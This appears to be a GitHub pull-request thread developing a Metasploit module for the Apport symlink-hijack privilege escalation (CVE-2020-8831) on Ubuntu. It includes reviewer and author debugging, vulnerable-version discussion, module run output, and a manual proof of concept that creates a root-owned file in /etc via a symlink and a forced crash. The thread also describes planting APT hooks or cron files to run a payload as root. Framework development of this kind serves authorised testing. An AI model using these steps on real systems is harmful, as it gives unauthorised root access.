Add Apport Symlink Hijacking: CVE-2020-8831#20037
Conversation
|
I've accidentally committed pushes from another module. My apologizes, I am unsure of the proper way to remove these. |
No problem; git is really awesome, but not always super intuitive. It looks like the unwanted commits are all related to your previous game overlay module.
Last, if you want, let me know and I am pretty sure I can fix it for you, but you might lose some commits. The only file you need here is |
gardnerapp
force-pushed
the
cve-2020-8831
branch
from
822e526 to
68de77e
Compare
|
Yes, I only want the files relevant to this module pushed. I just added the rebase let me know if it is sufficient. |
Looks good! Let us know when you'd like us to review it. |
| ) | ||
| ) | ||
| register_options [ | ||
| OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']), |
There was a problem hiding this comment.
For local exploit modules, this is usually registered as an advanced option:
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: bcoles <bcoles@gmail.com>
…esc.rb Co-authored-by: Brendan <bwatters@rapid7.com>
|
Have you seen the comments above the |
|
I have good news, I tested the exploit again and everything worked great. Testing is a pain because we aren't working with a clean slate, we need to reset the system every time. Here are the commands I used to do this: Now we're going to set up our meterpreter. I'm only using a bind shell because the test system is in the cloud. C2: Check the files on the remote system We trigger the payload by running Let's trigger our listener and grab a shell: Let me know if this helps. |
|
I'm sorry; I am still struggling with this one..... Resulting attempt: |
|
Try this for for apport_2.20.11-0ubuntu82_all.deb . Per my research earlier versions of Apport should be vulnerable, I have not personally tested the exploit against these. |
There was a problem hiding this comment.
Pull request overview
Adds a new Metasploit local privilege escalation module for Apport symlink hijacking (CVE-2020-8831), plus accompanying user documentation describing usage and setup.
Changes:
- Introduces an exploit module that attempts to gain root by leveraging Apport’s lockfile write via a symlink into
/etc/apt/apt.conf.d/and installing APT pre-invoke hooks. - Adds module documentation covering background, options, and an example scenario transcript.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 15 comments.
| File | Description |
|---|---|
| modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb | New LPE module implementing Apport symlink hijack to drop an APT hook that executes a payload. |
| documentation/modules/exploit/linux/local/cve_2020_8831_apport_symlink_privesc.md | New documentation describing vulnerability details, module usage, options, and an example run. |
…esc.rb Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
…_symlink_privesc.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
…esc.rb Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
…_symlink_privesc.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
…esc.rb Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
…_symlink_privesc.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
|
I've made it so that the module now writes cmd payloads directly to the hook file. Additionally, |
jheysel-r7
left a comment
jheysel-r7
left a comment
There was a problem hiding this comment.
Hey @gardnerapp thanks for the module! A couple comments:
Different patched versions for different Ubuntu releases
I noticed in a couple places, such as the documentation Description, Vulnerable Application and the module metadata Description, all mention that versions <= 2.20.11 are vulnerable which isn't accurate. Could you update those sections to reflect each release and they're corresponding patched versions?
Also the check method will need to be updated to reflect these different version ranges.
I cannot get this module to work
I was first testing on Ubuntu 22 but after I checked the CVE page I noticed it wasn't listed as having a patched version so I figured it wasn't affected. I setup an Ubuntu 18 version and installed the vulnerable: apport_2.20.8-0ubuntu6_all.deb package. After much debugging I cannot get the exploit to create the /etc/apt/apt.conf.d/lock file (same failure as my colleague).
Could you please send me the version of ubuntu you've tested on, information on the user and the groups they're apart of that you're using for the session to run this module and the version of apport installed? Sending over the output of these three commands should suffice:
msfuser@ubuntu:~$ uname -a
Linux ubuntu 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
msfuser@ubuntu:~$ id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
msfuser@ubuntu:~$ dpkg -l apport
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-======================-================-================-==================================================
ii apport 2.20.8-0ubuntu6 all automatically generate crash reports for debugging
…esc.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…esc.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
|
I apologize for getting the vulnerable versions mixed up. I am updating the check method to incorporate the vulnerable versions on each Ubuntu release. Different versions of Apport are available for download here. I am running Focal Fossa: Via the Ubuntu Security page for CVE-2020-8831 patches of the vulnerability for Focal Fossa are available starting at versions > 2.20.11-0ubuntu22. Therefore the most recent release of Apport before the patch will be version 2.20.11-0ubuntu21. We can find the vulnerable build for this version here, which we can download to our system via: Now that the package downloaded we need to install it with This exploit is relatively simple, as there are a lot of moving parts in the Metasploit module we can manually test exploitation to verify that the system is vulnerable. Below we see that After verifying manual exploitation we can test the module, which escalates privileges by symbolically linking |
jheysel-r7
left a comment
jheysel-r7
left a comment
There was a problem hiding this comment.
Hey @gardnerapp - thanks for the detailed outline. I've verified that the new Ubuntu 20.04 target I just set up is vulnerable, I am able to cause the lock file to be written to the /etc/ folder as root.
msfuser@ubuntu:~$ id -a
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare)
msfuser@ubuntu:~$ cd /etc
msfuser@ubuntu:/etc$ touch test
touch: cannot touch 'test': Permission denied
msfuser@ubuntu:/etc$ ln -s /etc /var/lock/apport
msfuser@ubuntu:/etc$ ls -la /var/lock/apport
lrwxrwxrwx 1 msfuser msfuser 4 Jun 23 16:27 /var/lock/apport -> /etc
msfuser@ubuntu:/etc$ sleep 10s & kill -11 $!
[1] 9286
msfuser@ubuntu:/etc$ ls -la /etc/lock
-rwxr-xr-x 1 root root 0 Jun 23 16:31 /etc/lock
[1]+ Segmentation fault (core dumped) sleep 10s
msfuser@ubuntu:/etc$
However this module is still not working for me:
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set REMOVE_LOCK_DIR true
REMOVE_LOCK_DIR => true
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > run
[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Apport appears to be vulnerable.
[+] The target appears to be vulnerable.
[*] Creating symlink...
[*] DEBUG: ln -s /etc/apt/apt.conf.d/ /var/lock/apport
[*] DEBUG BEFORE CRASH: ls -la /etc/apt/apt.conf.d/ total 88
drwxr-xr-x 2 root root 4096 Jun 23 10:27 .
drwxr-xr-x 7 root root 4096 Jun 23 10:27 ..
-rw-rw-r-- 1 root root 49 Jun 23 10:21 00aptitude
-rw-rw-r-- 1 root root 40 Jun 23 10:20 00trustcdrom
-rw-r--r-- 1 root root 92 Apr 9 2020 01-vendor-ubuntu
-rw-r--r-- 1 root root 630 Apr 9 2020 01autoremove
-rw-r--r-- 1 root root 129 Jan 20 2023 10periodic
-rw-r--r-- 1 root root 108 Jan 20 2023 15update-stamp
-rw-r--r-- 1 root root 450 Feb 28 2023 20apt-esm-hook.conf
-rw-r--r-- 1 root root 85 Jan 20 2023 20archive
-rw-r--r-- 1 root root 80 Apr 25 2022 20auto-upgrades
-rw-r--r-- 1 root root 243 Dec 16 2009 20dbus
-rw-r--r-- 1 root root 1040 Sep 23 2020 20packagekit
-rw-r--r-- 1 root root 127 Dec 1 2022 20snapd.conf
-rw-r--r-- 1 root root 2592 Jan 18 2020 50appstream
-rw-r--r-- 1 root root 625 Feb 10 2022 50command-not-found
-rw-r--r-- 1 root root 5459 May 19 2022 50unattended-upgrades
-rw-r--r-- 1 root root 435 Jan 18 2020 60icons
-rw-r--r-- 1 root root 251 Jan 18 2020 60icons-hidpi
-rw-r--r-- 1 root root 182 Aug 3 2019 70debconf
-rw-r--r-- 1 root root 305 Jan 20 2023 99update-notifier
[*] Triggering crash...
[*] DEBUG AFTER CRASH: ls -la /etc/apt/apt.conf.d/ total 88
drwxr-xr-x 2 root root 4096 Jun 23 10:27 .
drwxr-xr-x 7 root root 4096 Jun 23 10:27 ..
-rw-rw-r-- 1 root root 49 Jun 23 10:21 00aptitude
-rw-rw-r-- 1 root root 40 Jun 23 10:20 00trustcdrom
-rw-r--r-- 1 root root 92 Apr 9 2020 01-vendor-ubuntu
-rw-r--r-- 1 root root 630 Apr 9 2020 01autoremove
-rw-r--r-- 1 root root 129 Jan 20 2023 10periodic
-rw-r--r-- 1 root root 108 Jan 20 2023 15update-stamp
-rw-r--r-- 1 root root 450 Feb 28 2023 20apt-esm-hook.conf
-rw-r--r-- 1 root root 85 Jan 20 2023 20archive
-rw-r--r-- 1 root root 80 Apr 25 2022 20auto-upgrades
-rw-r--r-- 1 root root 243 Dec 16 2009 20dbus
-rw-r--r-- 1 root root 1040 Sep 23 2020 20packagekit
-rw-r--r-- 1 root root 127 Dec 1 2022 20snapd.conf
-rw-r--r-- 1 root root 2592 Jan 18 2020 50appstream
-rw-r--r-- 1 root root 625 Feb 10 2022 50command-not-found
-rw-r--r-- 1 root root 5459 May 19 2022 50unattended-upgrades
-rw-r--r-- 1 root root 435 Jan 18 2020 60icons
-rw-r--r-- 1 root root 251 Jan 18 2020 60icons-hidpi
-rw-r--r-- 1 root root 182 Aug 3 2019 70debconf
-rw-r--r-- 1 root root 305 Jan 20 2023 99update-notifier
[-] Exploit aborted due to failure: not-found: exploit was unable to create /etc/apt/apt.conf.d/lock
[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) >
…esc.rb Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
|
I've gotten the exploit to work: Testing system is the same as that mentioned above, however the exploit appears to be unreliable and as such I have down graded the reliability of the module. When testing the exploit manually I was successful, however I tried to test the module it did not work, similar to the issue you described above. I rebooted the system, reset the symbol links and ran the module without testing and got the module to work as shown in the output above. I am going to do some more testing tomorrow, could you try to run the module without testing manually on a fresh system? I believe that when running the exploit consecutively either through a module or manually some of the crash contents are dumped into the directories, as denoted by the segmentation fault in the directories entries. I can't tell what exactly is occurring but this mucks things up. I know that this pull request has been open for quiet some time, I would like it to go through but if your team does not think the efforts are worth it because the exploit is to unreliable then I understand. Thank you. |
This pull request is a draft for CVE-2020-8831, I originally came across this vulnerability while reading From Day Zero to Zero Day, which I highly recommend. The long story short is that certain versions of apport will follow symbolic links when writing crash dumps. This file will have a mask of 777 and be owned by root. In this module I used the command
ln -s /cron.d /var/lock/apportso that a/etc/cron.d/lockcrontab file would be created. This crontab should execute a payload every minute which was located in the/tmpdirectory.After scratching my head for several hours and combing through the log files I found that the crontab would not execute because it's file permissions were too excessive. We need to find another place for the symlink hijacking to occur. I have a few places in mind namely
/etc/init.d/or~/.bashrcwhich would trigger the payload upon startup. I am submitting this because I am unsure of which route to go or if there are other places where the symlink hijacking should occur. Thank you !